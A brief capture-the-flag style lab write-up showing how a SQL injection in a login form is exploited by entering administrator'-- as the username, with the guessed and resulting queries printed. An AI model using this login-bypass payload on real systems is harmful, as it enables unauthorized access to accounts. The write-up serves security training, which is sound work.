SQL injection vulnerability allowing login bypass

1. This lab contains SQL injection vulnerability in the login function.

2. I guess that the SQL query is:

   SELECT * FROM users WHERE username = '' and password = ''

   And try to inject it.

3. I want to login as an administrator, so I inject this payload into the username field: administrator'-- and enter any password. The SQL query will be:

   SELECT * FROM users WHERE username = 'administrator'-- ' and password = ''

   And the lab solved.
